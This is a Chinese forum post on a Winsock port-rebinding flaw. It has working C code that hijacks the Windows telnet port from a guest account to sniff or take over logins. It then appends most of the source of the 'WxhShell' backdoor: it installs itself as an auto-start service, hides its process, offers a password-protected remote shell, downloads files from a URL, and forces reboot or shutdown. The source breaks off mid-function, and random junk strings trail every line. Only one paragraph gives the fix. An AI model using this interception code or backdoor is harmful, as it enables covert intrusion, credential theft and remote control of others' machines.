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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tk5Bb`a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OiAi{ 71  
~y{(&7sM  
  saddr.sin_family = AF_INET; I(r^q"  
[o)P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &UG7 g  
5-|fp(Ww_W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Qci<cVgP  
FJ3Xeo s4|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $l:?(&u  
|y@TI  
  这意味着什么?意味着可以进行如下的攻击: I(E1ym  
2 @g'3M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C !81Km5  
SGMLs'D   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5gWn{[[e)y  
=:(8F*Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8Z>ZjNG  
uY;-x~Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7SE=otZ>  
7>EjP&l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k*\=IacX0  
E)%]?/w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GeN8_i[  
o >{+vwK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 XA{ tVh  
hQrO8T?2  
  #include t#mW`rGE_  
  #include hqVx%4s*J  
  #include &#Sg1$/+  
  #include    .L%_#A  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ni gp83:  
  int main() QnikgV  
  { "V:B-q  
  WORD wVersionRequested; "(ehf|%>%  
  DWORD ret; HPs$R [  
  WSADATA wsaData; 5:SfPAx  
  BOOL val; w}pFa76rm  
  SOCKADDR_IN saddr; @)iv'   
  SOCKADDR_IN scaddr; 0Ha1pqR  
  int err; 4f~hd-z  
  SOCKET s; Zk2-U"0\o  
  SOCKET sc; VF=$'Bl|  
  int caddsize; dI&2dcumS  
  HANDLE mt;  5I5~GH  
  DWORD tid;   ]SpUD  
  wVersionRequested = MAKEWORD( 2, 2 ); kEWC  
  err = WSAStartup( wVersionRequested, &wsaData ); ymybj  
  if ( err != 0 ) { e-f_ #!bW  
  printf("error!WSAStartup failed!\n"); Gk2\B]{  
  return -1; 0Ph,E   
  } 4O[T:9mn0  
  saddr.sin_family = AF_INET; &O(z|-&| x  
   b #|M-DmT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |SXMd'<3`Z  
z7F~;IB*u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '6u;KIG  
  saddr.sin_port = htons(23); I'G$:GX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AEm?g$a  
  { KcP86H52I  
  printf("error!socket failed!\n"); S'vi +_  
  return -1; nn$,|/  
  } D %~s  
  val = TRUE; Zr'VA,v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ihKnZcI$i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y1^<!I  
  { RH^8"%\  
  printf("error!setsockopt failed!\n"); swuW6p  
  return -1; ro7\}O:I  
  } oUR'gc :  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (Ac ' }O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NMmk,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E N%cjvE  
1p>5ZkHb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z<z(;)?c  
  { UceZW tYa  
  ret=GetLastError(); XX~~SvSM  
  printf("error!bind failed!\n"); -gH1`*YL  
  return -1; %1a\"F![  
  } Q u2W  
  listen(s,2); `TKe+oS)  
  while(1) a /X@5kr{  
  { "#d}S)GlXM  
  caddsize = sizeof(scaddr); I :%(nKBK  
  //接受连接请求 '~%1p_0dq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2J9_(w  
  if(sc!=INVALID_SOCKET) 'x lK_Z  
  { 95>(NwST4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); AM*V4}s*9k  
  if(mt==NULL) #/!a=0  
  { q( i|  
  printf("Thread Creat Failed!\n"); 4dv+RRpGOv  
  break; HE. `  
  } c&IIqT@Gb0  
  } h djv/  
  CloseHandle(mt); bTE%p0  
  } "'-f?kZ  
  closesocket(s); JadXdK=gE  
  WSACleanup(); LHKawEZ  
  return 0; wgpu]ooUF&  
  }   phwk0J]2  
  DWORD WINAPI ClientThread(LPVOID lpParam) T?:Vw laE  
  { "zL<:TQ"  
  SOCKET ss = (SOCKET)lpParam; 2#ND(  
  SOCKET sc; B. 6gJ2c  
  unsigned char buf[4096]; 2ksX6M3kY  
  SOCKADDR_IN saddr; IIUoB!`  
  long num; 7qq}wR]]  
  DWORD val; 0RN]_z$;H  
  DWORD ret; z%(m:/N70  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1XU sr;Wz  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0sto9n3  
  saddr.sin_family = AF_INET; N^xnx<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :84fd\It4  
  saddr.sin_port = htons(23); f"q='B9_T\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wd?(B4{  
  { ?kX$Y{M}  
  printf("error!socket failed!\n"); 'J#u ;KJ  
  return -1; ir-srVoXy  
  } (S* T{OgO  
  val = 100; ie{9zO<d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kUUeyq  
  { ZGf R:a)wc  
  ret = GetLastError(); Co&#mVY4,  
  return -1; qd(C%Wk  
  } oOUL<ihe?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,1EyT>  
  { u;H SX  
  ret = GetLastError(); Eb{Zm<TP  
  return -1; Tn< <i  
  } uV`r_P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m!SxX&m"G  
  { v#{Sx>lO  
  printf("error!socket connect failed!\n"); C:xg M'~+  
  closesocket(sc); lt`(R*B%  
  closesocket(ss); a` A V  
  return -1; W~2`o*\l  
  } Vb az#I  
  while(1) 1[OCojo<  
  { w2_$>z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~cQ./G4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FM$XMD0=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x;dyF_*;  
  num = recv(ss,buf,4096,0); ?8X;F"Ba  
  if(num>0) NK;%c-r0v7  
  send(sc,buf,num,0); W0J d2*]  
  else if(num==0) 1p=^I'#  
  break; AX,V* s  
  num = recv(sc,buf,4096,0); 3Cmbt_WV  
  if(num>0) Z5/^pyc  
  send(ss,buf,num,0); <]xGd!x$  
  else if(num==0) _>+!&_h  
  break; q@8Jc[\d  
  } GM=r{F &  
  closesocket(ss); *UhYX)J  
  closesocket(sc); uOUgU$%zqH  
  return 0 ; s9+Rq*Qd  
  } 4<[,"<G~3  
t>"UenJt-  
P|HxD0c^u  
========================================================== e=&,jg?K  
"7}bU_":s  
下边附上一个代码,,WXhSHELL 88x_}M^Fnl  
Ndq/n21j  
========================================================== I ,8   
hAX@|G.  
#include "stdafx.h" jL o(Uf  
>?>@&A/  
#include <stdio.h> r0t4\d_&  
#include <string.h> ^=`7]E[p  
#include <windows.h> OV/H&fe  
#include <winsock2.h> x`~YTOfYk  
#include <winsvc.h> mrWPTCD{  
#include <urlmon.h> 5IE3[a%X  
{2l35K=  
#pragma comment (lib, "Ws2_32.lib") 9oBK(Sf@^  
#pragma comment (lib, "urlmon.lib") 1c8Nr&Jl  
E#}OIZ\S  
#define MAX_USER   100 // 最大客户端连接数 #0>??]&r  
#define BUF_SOCK   200 // sock buffer EZnXS"z  
#define KEY_BUFF   255 // 输入 buffer ._'AJhU$0  
z,dh?%H>X  
#define REBOOT     0   // 重启 hS&3D6G t  
#define SHUTDOWN   1   // 关机 @ =g Px  
U[7 &   
#define DEF_PORT   5000 // 监听端口 S v3O${B|  
w3l2u1u  
#define REG_LEN     16   // 注册表键长度 m#6RJbEz  
#define SVC_LEN     80   // NT服务名长度 *g7BR`Bt]z  
Y\s ge  
// 从dll定义API EMy>X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @'n07 5)h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h|~I'M]*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :jL>sGvBv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "?9rJx$  
;B*im S10  
// wxhshell配置信息 wT\JA4  
struct WSCFG { -wr#.8rzTT  
  int ws_port;         // 监听端口 "3Y(uN  
  char ws_passstr[REG_LEN]; // 口令 wr);+.T9R  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]M3V]m  
  char ws_regname[REG_LEN]; // 注册表键名 oVlh4"y#Lf  
  char ws_svcname[REG_LEN]; // 服务名 h pf,44Kg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PgOOFRwP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >u?m Bx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +/O3L=QyJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (U@Ks )  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q$,AQyBlqc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .cks ){\  
`>ppDQaS)W  
}; H!SFSgAu  
-t#YL  
// default Wxhshell configuration *G rYB6MT  
struct WSCFG wscfg={DEF_PORT, V[DiN~H  
    "xuhuanlingzhe", B|WM;Y^  
    1, H@, h$$  
    "Wxhshell", ^mwS6WH6  
    "Wxhshell", pW&K=,7|  
            "WxhShell Service", qAI %6d  
    "Wrsky Windows CmdShell Service", s#Ayl]8r  
    "Please Input Your Password: ", p"@[2hK  
  1, /EP RgRX  
  "http://www.wrsky.com/wxhshell.exe", *Aqd["q  
  "Wxhshell.exe" L(RI4d  
    }; W kP`qD3  
trx y3k;  
// 消息定义模块 ?Vre" 6U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [D%(Y ~2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^(F@#zN}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [?>\]  
char *msg_ws_ext="\n\rExit."; &&PXWR!%]  
char *msg_ws_end="\n\rQuit."; lcVZ 32MQ  
char *msg_ws_boot="\n\rReboot..."; uH{oJSrK  
char *msg_ws_poff="\n\rShutdown..."; %eOO8^N  
char *msg_ws_down="\n\rSave to "; gOy;6\/  
Oa.84a  
char *msg_ws_err="\n\rErr!"; X'uQr+p^  
char *msg_ws_ok="\n\rOK!"; mNA=<O;i)'  
g1kYL$o4  
char ExeFile[MAX_PATH]; J7;8 S  
int nUser = 0; <uG6!P  
HANDLE handles[MAX_USER]; 5Z@0XI  
int OsIsNt; )L/0X40<.  
;kD UQw  
SERVICE_STATUS       serviceStatus; \>$3'i=mQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MxgJ+  
emSky-{$u  
// 函数声明 (b;Kl1Ql]  
int Install(void); zC,c9b  
int Uninstall(void); X $2f)3  
int DownloadFile(char *sURL, SOCKET wsh); zJ6""38Pr  
int Boot(int flag); OwCbv j0 #  
void HideProc(void); oGRd ;hsF  
int GetOsVer(void); 6gs0Vm  
int Wxhshell(SOCKET wsl); 6Ki!j<  
void TalkWithClient(void *cs); 9-+N;g!q  
int CmdShell(SOCKET sock); [XE\2Qa8e  
int StartFromService(void); ({3Ap{Q}  
int StartWxhshell(LPSTR lpCmdLine); {E[t(Ig  
=Y-.=}jp;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5OCt Q4u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $b~[>S-Q  
h! Bg} B~  
// 数据结构和表定义 ds2%i  
SERVICE_TABLE_ENTRY DispatchTable[] = >PzZt8e  
{ g=/!Ry=  
{wscfg.ws_svcname, NTServiceMain}, "Zfm4Nx "  
{NULL, NULL} 1xEFMHjy  
}; p#%*z~ui  
%*NED zy  
// 自我安装 -7KoR}Ck!  
int Install(void) .?vHoNvo  
{ 8y']kVg  
  char svExeFile[MAX_PATH]; -UM|u_  
  HKEY key; .07"I7  
  strcpy(svExeFile,ExeFile); c@2a)S8Y]  
[D+,I1u2h  
// 如果是win9x系统,修改注册表设为自启动 fGd1  
if(!OsIsNt) { ppo0DC\>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9 JhCSw-<)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u`ry CZo#g  
  RegCloseKey(key); eEBo:Rc9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?[uHRBR'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qSGM6kb  
  RegCloseKey(key); ;X^#$*=Q  
  return 0; OxPl0-]t  
    } &) 64:l&  
  } &:&~[4>%a  
} ,5V6=pr$  
else { %AN,cE*  
XzPOqZ`Nv  
// 如果是NT以上系统,安装为系统服务 F$-fj "jC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t.+)g-X  
if (schSCManager!=0) #mU<]O  
{ &b`'RZe  
  SC_HANDLE schService = CreateService gnGh )  
  ( h w ^ V  
  schSCManager, 5E]iv^q%  
  wscfg.ws_svcname, p+8o'dl8=  
  wscfg.ws_svcdisp, IG{ lr  
  SERVICE_ALL_ACCESS, 'A>?aUq]:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nU' qE  
  SERVICE_AUTO_START, dk^jv +  
  SERVICE_ERROR_NORMAL, `KtP ;nG  
  svExeFile, .*f 6n|  
  NULL, ?em8nZ'  
  NULL, _9]vlxgtG(  
  NULL, -wrVEH8  
  NULL, Qd~z<U l  
  NULL Zf1 uK(6X  
  ); SXP(C^?C  
  if (schService!=0) sE'c$H  
  { b*(K;`9)B  
  CloseServiceHandle(schService); &XV9_{Hm  
  CloseServiceHandle(schSCManager); =IW!ZN_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eKy!Pai  
  strcat(svExeFile,wscfg.ws_svcname); &l0K~7)b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _|4R^*/ 4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /@|iI<|  
  RegCloseKey(key); UWnF2,<s;  
  return 0; 2*<Zc|uNW  
    } 4Z>gK(  
  } UOFb.FRP>  
  CloseServiceHandle(schSCManager); up+0-!AH  
} 1)^\R(l  
} 2 F>Y{3&  
Lu {/"&)  
return 1; AmHj\NX$  
} tewp-M KA  
<$yA*  
// 自我卸载 `u}_O(A1pA  
int Uninstall(void) mZ2CG O R  
{ :{N*Z}]  
  HKEY key; U#c Gd\b  
'iF%mnJ  
if(!OsIsNt) {  [Q{\Ik  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u178vby;l  
  RegDeleteValue(key,wscfg.ws_regname); Ovc9x\N  
  RegCloseKey(key); JH{/0x#+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "5L?RkFi\  
  RegDeleteValue(key,wscfg.ws_regname); >t.Lc.  
  RegCloseKey(key); z]r'8Jc  
  return 0; v@|<.  
  } u 3#+fn_  
} u.|%@  
} _qR?5;v  
else { CV\^gTPmx  
EYn?YiVFU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w$/lq~zU  
if (schSCManager!=0) haBmwq(f  
{ ,|d9lK`"P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _Iminet  
  if (schService!=0) |YsR;=6wT  
  { :P}3cl_  
  if(DeleteService(schService)!=0) { :Rb\Ca  
  CloseServiceHandle(schService); j &,Gv@  
  CloseServiceHandle(schSCManager); {N>ju  
  return 0; ` @  YV  
  } sBB[u'h!  
  CloseServiceHandle(schService); ?tY+P`S  
  }  u&#>)h  
  CloseServiceHandle(schSCManager); ']TWWwj$  
} P4q5#r  
} 7bk77`qWr  
uDie205  
return 1; /M%>M]  
} ,IyQmN y  
{ 7jim  
// 从指定url下载文件 A!Cby!,  
int DownloadFile(char *sURL, SOCKET wsh) 3s/1\m%  
{ L4Zt4Yuw  
  HRESULT hr; ~w3u(X$m"  
char seps[]= "/"; mP&\?  
char *token; CdF;0A9.3  
char *file; B;ek a[xU  
char myURL[MAX_PATH]; 7JGc9K+Av  
char myFILE[MAX_PATH]; &Gh0f"?  
j{OA%G(I  
strcpy(myURL,sURL); ]5jS6 @Vl*  
  token=strtok(myURL,seps); 9tJ0O5  
  while(token!=NULL) #0r~/gW  
  { RbL?(  
    file=token; ,Q56A#Y\  
  token=strtok(NULL,seps); @KK6JyOTQ  
  } >Xk42zvqn  
v']_)  
GetCurrentDirectory(MAX_PATH,myFILE); oh< -&3Jn  
strcat(myFILE, "\\"); ySr,HXz  
strcat(myFILE, file); EW*sTI3  
  send(wsh,myFILE,strlen(myFILE),0); v1 8<~  
send(wsh,"...",3,0); @w8} ]S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w2.] 3QAZ  
  if(hr==S_OK) .qSDe+A  
return 0; M !'d  
else u:f ]|Q  
return 1; ,fp+nu8,  
fgd2jr 3T  
} x|a&wC2,{  
iT :3e%  
// 系统电源模块 Z?{\34lPj  
int Boot(int flag) 6ieul@?*u*  
{ [*^.$s(  
  HANDLE hToken; ,gVVYH?qR  
  TOKEN_PRIVILEGES tkp; BQ0?B*yqd  
>8_y-74  
  if(OsIsNt) { 7A\`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o6MFMA+vi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d}4NL:=&  
    tkp.PrivilegeCount = 1; t|iN Sy3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mwnr4$]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0~fjY^(  
if(flag==REBOOT) { 4C=W~6~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =$J(]KPv!?  
  return 0; 4CF;>b f~  
} Ncz4LKzt  
else { #@B"E2F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =\< 7+nv  
  return 0; _li3cXE  
} Qp:I[:Lr;  
  } xn3 _ ED  
  else { i]r(VKX  
if(flag==REBOOT) { )$:1e)d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BuV71/Vb{Q  
  return 0; P`lv_oV  
} $(9QnH1KY  
else { .2f vRN92  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7<xnE]jdq  
  return 0; Z6zV 9hn  
} @3?>[R  
} XLn9NBT4K  
,,{;G'R|  
return 1; ~A=zjkm  
} uI-T]N:W8x  
P+j=]Yg  
// win9x进程隐藏模块 }*6BaB  
void HideProc(void) =IC.FT}  
{ j+_fHADq  
BX?DI-o^h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _iJ~O1qx,w  
  if ( hKernel != NULL ) 8z1z<\  
  { j9NF|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b)I-do+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TN0KS]^A3  
    FreeLibrary(hKernel); rM7qBt  
  } C#U(POA  
]j3>=Jb;  
return; 13s/m&  
} w ~*@TG  
H.ZIRt !RB  
// 获取操作系统版本 ^&?,L@fW  
int GetOsVer(void) gyvrQ, u  
{ <c}@lj-j  
  OSVERSIONINFO winfo; KyyR Hf5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y*c]C;%=  
  GetVersionEx(&winfo); pt <zyH3Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &zJI~R  
  return 1; P1mg;!tq  
  else \1<'XVS  
  return 0; L0wT:x*  
} ^o3,YH  
eq6O6-  
// 客户端句柄模块 5%Qxx\q  
int Wxhshell(SOCKET wsl) *2zp>(%  
{ BmX'%5ho  
  SOCKET wsh; a#j,0FKv  
  struct sockaddr_in client; IIR+qJ__|  
  DWORD myID; \(Sly&gL  
x?wvS]EBg  
  while(nUser<MAX_USER) H3rA ?F#+*  
{ fa/S!%}fO  
  int nSize=sizeof(client); {zb'Z Yz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cZh0\Dy U  
  if(wsh==INVALID_SOCKET) return 1; .C^P6S2oJ  
huC{SzXM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b&rBWp0#  
if(handles[nUser]==0) ps{4_V-3u  
  closesocket(wsh); K}l3t2uk  
else = 7y-o  
  nUser++; yLC[-.H  
  } |o5eG><  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [inlxJD  
>-MnB  
  return 0; WN'AQ~qA  
} Z 8rD9 k$6  
U?0|2hR~  
// 关闭 socket ftYJ 3/WH  
void CloseIt(SOCKET wsh) O*:87:I d  
{ Wu][A\3D1  
closesocket(wsh); ZE=sw}=  
nUser--; +KTfGwKt  
ExitThread(0); 7%^G ]AFi  
} JH.XZM&  
P)Adb~r  
// 客户端请求句柄 h[remR# 3\  
void TalkWithClient(void *cs) j[r}!;O  
{ kk=n&M  
ZsP^<  
  SOCKET wsh=(SOCKET)cs; C7%R2>}?f  
  char pwd[SVC_LEN]; tRoSq;VrS  
  char cmd[KEY_BUFF]; At.& $ t  
char chr[1]; mo| D  
int i,j; 5T;LWS  
ahl|N`  
  while (nUser < MAX_USER) { gnp.!-  
t=P+m   
if(wscfg.ws_passstr) { qd0G sr}j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /!H24[tnk1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rbd0`J9fq  
  //ZeroMemory(pwd,KEY_BUFF); Orq/38:4G  
      i=0; agUdI_'~@9  
  while(i<SVC_LEN) { ^)dsi  
CPJ<A,V  
  // 设置超时 doanTF4Da  
  fd_set FdRead; |=}+%>y_  
  struct timeval TimeOut; &ivU4rEG  
  FD_ZERO(&FdRead); >#G%2Vp  
  FD_SET(wsh,&FdRead); `PUqz&  
  TimeOut.tv_sec=8; i-CJ{l  
  TimeOut.tv_usec=0; ~}_^$l8#-Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "^4*,41U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #z(:n5$F  
%],BgLhS.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )O[8 D  
  pwd=chr[0]; /!Rva"  
  if(chr[0]==0xd || chr[0]==0xa) { 2|,$#V=  
  pwd=0; nd' D0<%  
  break; p.W7>o,[w  
  } oywiX@]~7  
  i++; [piK"N  
    } MRpMmu  
+ f6LG 0q  
  // 如果是非法用户,关闭 socket 9~UR(Ts}l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hCQOwk#  
} d8wGXNd7B  
8>C4w 5kF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H9T~7e+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _A,_RM$Y  
( >}1t!1  
while(1) { \:m~ +o$<-  
c^W;p2^  
  ZeroMemory(cmd,KEY_BUFF); d*6f,z2=  
:BxO6@>Xc  
      // 自动支持客户端 telnet标准   H1-DK+Q:  
  j=0; BwHJr(n  
  while(j<KEY_BUFF) { .B`$hxl*0c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S|=)^$:  
  cmd[j]=chr[0]; ?nc:bC  
  if(chr[0]==0xa || chr[0]==0xd) { o CCtjr  
  cmd[j]=0; R2)@Q  
  break; :%gc Sm  
  } ':4ny]F  
  j++; 4u5j 7`O  
    } 12^uu)6Xm,  
<Y)14w%  
  // 下载文件 oywPPVxj  
  if(strstr(cmd,"http://")) { nFni1cCD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &eV5#Ph  
  if(DownloadFile(cmd,wsh)) ["nWIs[h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DGJ:#U E  
  else U.TZd"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f,ro1Nke  
  } g=td*S  
  else { M{L<aYe  
0L>3 i8'  
    switch(cmd[0]) { @ 51!3jeu  
  Oem1=QpaC  
  // 帮助 ~|KqG  
  case '?': { 5j`sJvq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8$-MUF,  
    break; 6Jgl"Jw8  
  } j"jssbu}  
  // 安装 0Px Hf*  
  case 'i': { JlSqTfA  
    if(Install()) yD<#Q\,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t3$cX_  
    else 4<s;xSCL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \gP?uJ  
    break; +vZYuEq_  
    } 4b}p[9k  
  // 卸载 xiW}P% bf  
  case 'r': { 0/~p1SSun  
    if(Uninstall()) [ &Wy $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y's=31G@  
    else }P2*MrkcHB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0-p^o A  
    break; Ow-ejo  
    } lz=DGm  
  // 显示 wxhshell 所在路径 pKLcg"{[F  
  case 'p': { W<<G  'Km  
    char svExeFile[MAX_PATH]; ,q*|R O  
    strcpy(svExeFile,"\n\r"); \WE/#To  
      strcat(svExeFile,ExeFile); 0faf4LzU!  
        send(wsh,svExeFile,strlen(svExeFile),0); NL.3qx  
    break; ok--Jyhv#  
    } xDe^>(,"  
  // 重启 yi^X?E{WnX  
  case 'b': { !wAnsK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >XZ2w_  
    if(Boot(REBOOT)) 2\{/|\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !o| ex+z;  
    else { f.ua,,P.  
    closesocket(wsh); 8+!G /p  
    ExitThread(0); kX V  
    } jYU0zGpj  
    break; .NdsKhg b  
    } e`+  
  // 关机 6 w!qZ4$  
  case 'd': { ="T}mc  
